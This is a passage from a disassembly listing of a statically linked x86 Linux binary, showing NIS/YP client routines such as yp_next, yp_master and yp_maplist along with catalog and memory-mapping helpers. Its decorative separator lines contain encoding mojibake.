[esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 add esp, 20h loc_805D7F1: ; CODE XREF: sub_805D638+12Cj lea edx, [ebp+var_14] push edx push offset sub_80665DC call xdr_free mov edx, [ebp+var_18] push edx call sub_805D2F4 mov eax, ebx loc_805D80A: ; CODE XREF: sub_805D638+55j ; sub_805D638+75j ... lea esp, [ebp+var_38] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805D638 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805D814 proc near ; CODE XREF: sub_804C9E4+C1p var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 34h push edi push esi push ebx mov [ebp+var_2C], 0 cmp [ebp+arg_0], 0 jz short loc_805D854 mov esi, [ebp+arg_0] cmp byte ptr [esi], 0 jz short loc_805D854 cmp [ebp+arg_4], 0 jz short loc_805D854 mov esi, [ebp+arg_4] cmp byte ptr [esi], 0 jz short loc_805D854 cmp [ebp+arg_8], 0 jz short loc_805D854 cmp [ebp+arg_C], 0 jz short loc_805D854 mov esi, [ebp+arg_8] cmp byte ptr [esi], 0 jnz short loc_805D860 loc_805D854: ; CODE XREF: sub_805D814+14j ; sub_805D814+1Cj ... mov eax, 1 jmp loc_805DA06 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D860: ; CODE XREF: sub_805D814+3Ej mov esi, [ebp+arg_18] mov dword ptr [esi], 0 mov esi, [ebp+arg_10] mov dword ptr [esi], 0 mov esi, [ebp+arg_1C] mov dword ptr [esi], 0 mov esi, [ebp+arg_14] mov dword ptr [esi], 0 loc_805D884: ; CODE XREF: sub_805D814+12Aj lea edx, [ebp+var_28] push edx mov esi, [ebp+arg_0] push esi call sub_805CE84 add esp, 8 test eax, eax jz short loc_805D8A4 mov eax, 3 jmp loc_805DA06 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D8A4: ; CODE XREF: sub_805D814+82j mov esi, ds:dword_8069030 mov [ebp+var_34], esi mov [ebp+var_30], 0 mov esi, [ebp+arg_0] mov [ebp+var_24], esi mov esi, [ebp+arg_4] mov [ebp+var_20], esi mov esi, [ebp+arg_8] mov [ebp+var_1C], esi mov esi, [ebp+arg_C] mov [ebp+var_18], esi push 14h lea ebx, [ebp+var_14] push ebx call bzero mov edx, [ebp+var_28] mov ecx, [edx+120h] mov eax, [ecx+4] push [ebp+var_30] push [ebp+var_34] push ebx push offset sub_80665DC lea edx, [ebp+var_24] push edx push offset sub_8066514 push 5 push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805D950 push offset aYp_nextClnt_ca ; "yp_next: clnt_call" mov edx, [ebp+var_28] mov edx, [edx+120h] push edx call clnt_perror mov edx, [ebp+var_28] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_2C] inc [ebp+var_2C] cmp ds:dword_8069034, edx jg loc_805D884 mov eax, 2 jmp loc_805DA06 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D950: ; CODE XREF: sub_805D814+F2j mov edx, [ebp+var_14] push edx call ypprot_err mov ebx, eax add esp, 4 test ebx, ebx jnz loc_805D9ED mov edx, [ebp+var_C] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, [esi] push edx push eax mov edx, [ebp+var_10] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 mov edx, [ebp+var_4] mov esi, [ebp+arg_1C] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_18] mov [esi], eax mov esi, [ebp+arg_1C] mov edx, [esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_18] mov ecx, [esi] mov esi, [ebp+arg_1C] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_18] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 add esp, 20h loc_805D9ED: ; CODE XREF: sub_805D814+14Cj lea edx, [ebp+var_14] push edx push offset sub_80665DC call xdr_free mov edx, [ebp+var_28] push edx call sub_805D2F4 mov eax, ebx loc_805DA06: ; CODE XREF: sub_805D814+45j ; sub_805D814+89j ... lea esp, [ebp+var_40] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805D814 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp sub esp, 2Ch push edi push esi push ebx mov ebx, [ebp+8] test ebx, ebx jz short loc_805DA33 cmp byte ptr [ebx], 0 jz short loc_805DA33 cmp dword ptr [ebp+0Ch], 0 jz short loc_805DA33 mov edi, [ebp+0Ch] cmp byte ptr [edi], 0 jnz short loc_805DA40 loc_805DA33: ; CODE XREF: .text:0805DA1Ej ; .text:0805DA23j ... mov eax, 1 jmp loc_805DB49 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DA40: ; CODE XREF: .text:0805DA31j lea edx, [ebp-14h] push edx push ebx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DA5C mov eax, 3 jmp loc_805DB49 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DA5C: ; CODE XREF: .text:0805DA4Fj mov edi, ds:dword_8069030 mov [ebp-2Ch], edi mov dword ptr [ebp-28h], 0 mov dword ptr [ebp-18h], 0FFFFFFFFh mov ecx, [ebp-14h] mov edx, [ecx+108h] mov [ebp-10h], edx mov edx, [ecx+10Ch] mov [ebp-0Ch], edx mov edx, [ecx+110h] mov [ebp-8], edx mov edx, [ecx+114h] mov [ebp-4], edx mov word ptr [ebp-0Eh], 0 push 0 push 0 lea edx, [ebp-18h] push edx push 2 push 186A4h lea edx, [ebp-10h] push edx call clnttcp_create mov esi, eax add esp, 18h test esi, esi jnz short loc_805DAD4 push offset aClnttcp_create ; "clnttcp_create failed\n" call _IO_perror mov eax, 9 jmp short loc_805DB49 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DAD4: ; CODE XREF: .text:0805DABFj mov [ebp-20h], ebx mov edi, [ebp+0Ch] mov [ebp-1Ch], edi mov edi, [ebp+10h] mov edx, [edi] mov ds:dword_807EB90, edx mov edx, [edi+4] mov ds:dword_807EB8C, edx mov ecx, [esi+4] push dword ptr [ebp-28h] push dword ptr [ebp-2Ch] lea ebx, [ebp-24h] push ebx push offset sub_80668AC lea edx, [ebp-20h] push edx push offset sub_8066564 push 8 push esi mov edx, [ecx] call edx add esp, 20h mov edx, [esi+4] push esi mov edx, [edx+10h] call edx push ebx push offset sub_80668AC call xdr_free mov edx, [ebp-14h] push edx call sub_805D2F4 add esp, 10h cmp dword ptr [ebp-24h], 0 jnz short loc_805DB40 xor eax, eax jmp short loc_805DB49 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DB40: ; CODE XREF: .text:0805DB3Aj mov edx, [ebp-24h] push edx call ypprot_err loc_805DB49: ; CODE XREF: .text:0805DA38j ; .text:0805DA56j ... lea esp, [ebp-38h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov dword ptr [ebp-18h], 0 cmp dword ptr [ebp+8], 0 jz short loc_805DB80 mov ecx, [ebp+8] cmp byte ptr [ecx], 0 jz short loc_805DB80 cmp dword ptr [ebp+0Ch], 0 jz short loc_805DB80 mov ecx, [ebp+0Ch] cmp byte ptr [ecx], 0 jnz short loc_805DB8C loc_805DB80: ; CODE XREF: .text:0805DB68j ; .text:0805DB70j ... mov eax, 1 jmp loc_805DC65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DB8C: ; CODE XREF: .text:0805DB7Ej ; .text:0805DC5Aj lea edx, [ebp-4] push edx mov ecx, [ebp+8] push ecx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DBAC mov eax, 3 jmp loc_805DC65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DBAC: ; CODE XREF: .text:0805DB9Ej mov esi, ds:dword_8069030 xor edi, edi mov ecx, [ebp+8] mov [ebp-14h], ecx mov ecx, [ebp+0Ch] mov [ebp-10h], ecx push 8 lea ebx, [ebp-0Ch] push ebx call bzero mov edx, [ebp-4] mov edx, [edx+120h] mov [ebp-1Ch], edx mov eax, [edx+4] push edi push esi push ebx push offset sub_8066664 lea edx, [ebp-14h] push edx push offset sub_8066564 push 0Ah mov ecx, [ebp-1Ch] push ecx mov edx, [eax] call edx add esp, 28h test eax, eax jnz short loc_805DC24 mov edx, [ebp-8] mov ecx, [ebp+10h] mov [ecx], edx push ebx push offset sub_8066664 call xdr_free mov edx, [ebp-4] push edx call sub_805D2F4 mov edx, [ebp-0Ch] push edx call ypprot_err jmp short loc_805DC65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DC24: ; CODE XREF: .text:0805DBFAj push offset aYp_orderClnt_c ; "yp_order: clnt_call" mov edx, [ebp-4] mov edx, [edx+120h] push edx call clnt_perror mov edx, [ebp-4] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp-18h] inc dword ptr [ebp-18h] cmp ds:dword_8069034, edx jg loc_805DB8C mov eax, 2 loc_805DC65: ; CODE XREF: .text:0805DB85j ; .text:0805DBA5j ... lea esp, [ebp-28h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov dword ptr [ebp-18h], 0 cmp dword ptr [ebp+8], 0 jz short loc_805DC9C mov ecx, [ebp+8] cmp byte ptr [ecx], 0 jz short loc_805DC9C cmp dword ptr [ebp+0Ch], 0 jz short loc_805DC9C mov ecx, [ebp+0Ch] cmp byte ptr [ecx], 0 jnz short loc_805DCA8 loc_805DC9C: ; CODE XREF: .text:0805DC84j ; .text:0805DC8Cj ... mov eax, 1 jmp loc_805DD9C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DCA8: ; CODE XREF: .text:0805DC9Aj ; .text:0805DD50j lea edx, [ebp-4] push edx mov ecx, [ebp+8] push ecx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DCC8 mov eax, 3 jmp loc_805DD9C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DCC8: ; CODE XREF: .text:0805DCBAj mov esi, ds:dword_8069030 xor edi, edi mov ecx, [ebp+8] mov [ebp-14h], ecx mov ecx, [ebp+0Ch] mov [ebp-10h], ecx push 8 lea ebx, [ebp-0Ch] push ebx call bzero mov edx, [ebp-4] mov edx, [edx+120h] mov [ebp-1Ch], edx mov eax, [edx+4] push edi push esi push ebx push offset xdr_ypresp_order lea edx, [ebp-14h] push edx push offset sub_8066564 push 9 mov ecx, [ebp-1Ch] push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805DD60 push offset aYp_masterClnt_ ; "yp_master: clnt_call" mov edx, [ebp-4] mov edx, [edx+120h] push edx call clnt_perror mov edx, [ebp-4] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp-18h] inc dword ptr [ebp-18h] cmp ds:dword_8069034, edx jg loc_805DCA8 mov eax, 2 jmp short loc_805DD9C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DD60: ; CODE XREF: .text:0805DD18j mov edx, [ebp-0Ch] push edx call ypprot_err mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805DD83 mov edx, [ebp-8] push edx call strdup mov ecx, [ebp+10h] mov [ecx], eax add esp, 4 loc_805DD83: ; CODE XREF: .text:0805DD70j lea edx, [ebp-0Ch] push edx push offset xdr_ypresp_order call xdr_free mov edx, [ebp-4] push edx call sub_805D2F4 mov eax, ebx loc_805DD9C: ; CODE XREF: .text:0805DCA1j ; .text:0805DCC1j ... lea esp, [ebp-28h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov dword ptr [ebp-10h], 0 cmp dword ptr [ebp+8], 0 jz short loc_805DDC6 mov ecx, [ebp+8] cmp byte ptr [ecx], 0 jnz short loc_805DDD0 loc_805DDC6: ; CODE XREF: .text:0805DDBCj mov eax, 1 jmp loc_805DE91 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DDD0: ; CODE XREF: .text:0805DDC4j ; .text:0805DE86j lea edx, [ebp-4] push edx mov ecx, [ebp+8] push ecx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DDF0 mov eax, 3 jmp loc_805DE91 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DDF0: ; CODE XREF: .text:0805DDE2j mov esi, ds:dword_8069030 xor edi, edi push 8 lea ebx, [ebp-0Ch] push ebx call bzero mov edx, [ebp-4] mov edx, [edx+120h] mov ecx, [edx+4] mov [ebp-14h], ecx push edi push esi push ebx push offset sub_8066754 mov ecx, [ebp+8] push ecx push offset xdr_domainname push 0Bh push edx mov ecx, [ebp-14h] mov edx, [ecx] call edx add esp, 28h test eax, eax jnz short loc_805DE50 mov edx, [ebp-8] mov ecx, [ebp+0Ch] mov [ecx], edx mov edx, [ebp-4] push edx call sub_805D2F4 mov edx, [ebp-0Ch] push edx call ypprot_err jmp short loc_805DE91 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DE50: ; CODE XREF: .text:0805DE32j push offset aYp_maplistClnt ; "yp_maplist: clnt_call" mov edx, [ebp-4] mov edx, [edx+120h] push edx call clnt_perror mov edx, [ebp-4] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp-10h] inc dword ptr [ebp-10h] cmp ds:dword_8069034, edx jg loc_805DDD0 mov eax, 2 loc_805DE91: ; CODE XREF: .text:0805DDCBj ; .text:0805DDE9j ... lea esp, [ebp-20h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000141 BYTES: COLLAPSED FUNCTION yperr_string. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000C5 BYTES: COLLAPSED FUNCTION ypprot_err. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+8] cmp ds:byte_807E358, 0 jnz short loc_805E0E3 lea eax, [ebp-4] push eax call yp_get_default_domain add esp, 4 test eax, eax jnz short loc_805E0FB mov esi, offset byte_807E358 mov edi, offset aNone ; "(none)" mov ecx, 7 cld test al, 0 repe cmpsb jz short loc_805E0FB loc_805E0E3: ; CODE XREF: .text:0805E0BBj test ebx, ebx jz short loc_805E0ED mov dword ptr [ebx], offset byte_807E358 loc_805E0ED: ; CODE XREF: .text:0805E0E5j push offset byte_807E358 call sub_805D328 test eax, eax jz short loc_805E100 loc_805E0FB: ; CODE XREF: .text:0805E0CBj ; .text:0805E0E1j xor eax, eax jmp short loc_805E105 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E100: ; CODE XREF: .text:0805E0F9j mov eax, 1 loc_805E105: ; CODE XREF: .text:0805E0FDj lea esp, [ebp-10h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000002EC BYTES: COLLAPSED FUNCTION catopen. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805E3FC proc near ; CODE XREF: sub_805E584+13p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_805E42C cmp [ebp+arg_0], 0 jz short loc_805E42C cmp [ebp+arg_4], 0 jle short loc_805E42C xor edi, edi mov eax, [ebp+arg_4] dec eax mov edx, [ebp+arg_0] cmp [edx+0Ch], eax jle short loc_805E434 mov ecx, eax mov esi, [ebp+arg_4] jmp short loc_805E44C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E42C: ; CODE XREF: sub_805E3FC+Aj ; sub_805E3FC+10j ... xor eax, eax jmp loc_805E4C2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E434: ; CODE XREF: sub_805E3FC+24j mov edx, [ebp+arg_0] mov esi, [edx+0Ch] mov ecx, esi sub ecx, edi mov eax, ecx shr eax, 1Fh add eax, ecx mov ecx, eax sar ecx, 1 lea esi, [esi] loc_805E44C: ; CODE XREF: sub_805E3FC+2Bj ; sub_805E3FC+9Aj ... lea eax, [ecx+ecx*2] lea eax, [eax+eax*8] add eax, ecx mov ebx, eax mov edx, [ebp+arg_0] add ebx, [edx+10h] mov edx, [ebp+arg_4] cmp [ebx], edx jz short loc_805E4B0 jge short loc_805E480 lea edi, [ecx+1] mov eax, edx sub eax, [ebx] lea eax, [eax+ecx+1] cmp esi, eax jle short loc_805E476 mov esi, eax loc_805E476: ; CODE XREF: sub_805E3FC+76j mov ebx, 1 jmp short loc_805E487 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E480: ; CODE XREF: sub_805E3FC+67j mov esi, ecx mov ebx, 0FFFFFFFFh loc_805E487: ; CODE XREF: sub_805E3FC+7Fj cmp edi, esi jge short loc_805E42C mov eax, esi sub eax, edi cmp eax, 1 jnz short loc_805E498 add ecx, ebx jmp short loc_805E44C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E498: ; CODE XREF: sub_805E3FC+96j mov eax, esi sub eax, edi mov edx, eax shr edx, 1Fh add eax, edx sar eax, 1 imul eax, ebx add ecx, eax jmp short loc_805E44C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E4B0: ; CODE XREF: sub_805E3FC+65j cmp dword ptr [ebx+18h], 0 jz short loc_805E4C0 push ebx mov edx, [ebp+arg_0] push edx call sub_805E844 loc_805E4C0: ; CODE XREF: sub_805E3FC+B8j mov eax, ebx loc_805E4C2: ; CODE XREF: sub_805E3FC+32j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E3FC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805E4CC proc near ; CODE XREF: sub_805E584+1Cp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx cmp [ebp+arg_0], 0 jz short loc_805E4FC mov edx, [ebp+arg_0] cmp dword ptr [edx+18h], 0 jnz short loc_805E4FC cmp [ebp+arg_4], 0 jle short loc_805E4FC xor edi, edi mov eax, [ebp+arg_4] dec eax mov edx, [ebp+arg_0] cmp [edx+14h], eax jle short loc_805E500 mov ecx, eax mov esi, [ebp+arg_4] jmp short loc_805E518 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E4FC: ; CODE XREF: sub_805E4CC+Aj ; sub_805E4CC+13j ... xor eax, eax jmp short loc_805E578 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E500: ; CODE XREF: sub_805E4CC+27j mov edx, [ebp+arg_0] mov esi, [edx+14h] mov ecx, esi sub ecx, edi mov eax, ecx shr eax, 1Fh add eax, ecx mov ecx, eax sar ecx, 1 lea esi, [esi] loc_805E518: ; CODE XREF: sub_805E4CC+2Ej ; sub_805E4CC+92j ... lea eax, [ecx+ecx*2] shl eax, 2 mov edx, [ebp+arg_0] add eax, [edx+8] mov edx, [ebp+arg_4] cmp [eax], edx jz short loc_805E578 jge short loc_805E548 lea edi, [ecx+1] sub edx, [eax] mov eax, edx lea eax, [eax+ecx+1] cmp esi, eax jle short loc_805E53E mov esi, eax loc_805E53E: ; CODE XREF: sub_805E4CC+6Ej mov ebx, 1 jmp short loc_805E54F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E548: ; CODE XREF: sub_805E4CC+5Fj mov esi, ecx mov ebx, 0FFFFFFFFh loc_805E54F: ; CODE XREF: sub_805E4CC+77j cmp edi, esi jge short loc_805E4FC mov eax, esi sub eax, edi cmp eax, 1 jnz short loc_805E560 add ecx, ebx jmp short loc_805E518 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E560: ; CODE XREF: sub_805E4CC+8Ej mov eax, esi sub eax, edi mov edx, eax shr edx, 1Fh add eax, edx sar eax, 1 imul eax, ebx add ecx, eax jmp short loc_805E518 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E578: ; CODE XREF: sub_805E4CC+32j ; sub_805E4CC+5Dj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E4CC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805E584 proc near ; CODE XREF: init_services+2A7p ; init_services+2CDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, [ebp+arg_C] push eax push edx push ecx call sub_805E3FC add esp, 8 push eax call sub_805E4CC mov edx, ebx test eax, eax jz short loc_805E5AE mov edx, [eax+4] loc_805E5AE: ; CODE XREF: sub_805E584+25j mov eax, edx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805E584 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+8] cmp edi, 0FFFFFFFFh jz short loc_805E5CD test edi, edi jnz short loc_805E5D4 loc_805E5CD: ; CODE XREF: .text:0805E5C7j mov eax, 0FFFFFFFFh jmp short loc_805E634 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E5D4: ; CODE XREF: .text:0805E5CBj cmp dword ptr [edi], 1 jz short loc_805E5E9 mov eax, [edi+8] push eax mov eax, [edi+4] push eax call __libc_munmap add esp, 8 loc_805E5E9: ; CODE XREF: .text:0805E5D7j xor esi, esi cmp [edi+0Ch], esi jle short loc_805E623 mov dword ptr [ebp-4], 0 nop loc_805E5F8: ; CODE XREF: .text:0805E621j mov ebx, [ebp-4] add ebx, [edi+10h] cmp dword ptr [ebx+18h], 0 jnz short loc_805E619 mov eax, [ebx+0Ch] push eax call free mov eax, [ebx+8] push eax call free add esp, 8 loc_805E619: ; CODE XREF: .text:0805E602j add dword ptr [ebp-4], 1Ch inc esi cmp [edi+0Ch], esi jg short loc_805E5F8 loc_805E623: ; CODE XREF: .text:0805E5EEj mov eax, [edi+10h] push eax call free push edi call free xor eax, eax loc_805E634: ; CODE XREF: .text:0805E5D2j lea esp, [ebp-10h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805E640 proc near ; CODE XREF: catopen+2D8p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] push 18h call malloc mov esi, eax add esp, 4 test esi, esi jnz short loc_805E66C mov eax, 0FFFFFFFFh jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E66C: ; CODE XREF: sub_805E640+1Dj mov [esi], ebx push 0 push edi call __libc_open mov [esi+4], eax add esp, 8 test eax, eax jge short loc_805E688 xor eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E688: ; CODE XREF: sub_805E640+3Ej push 0 mov eax, [esi+4] push eax push 1 push 1 mov ecx, [ebp+arg_8] mov eax, [ecx+14h] mov [esi+8], eax push eax push 0 call mmap mov ebx, eax add esp, 18h cmp ebx, 0FFFFFFFFh jnz short loc_805E6C0 mov eax, [esi+4] push eax call __libc_close xor 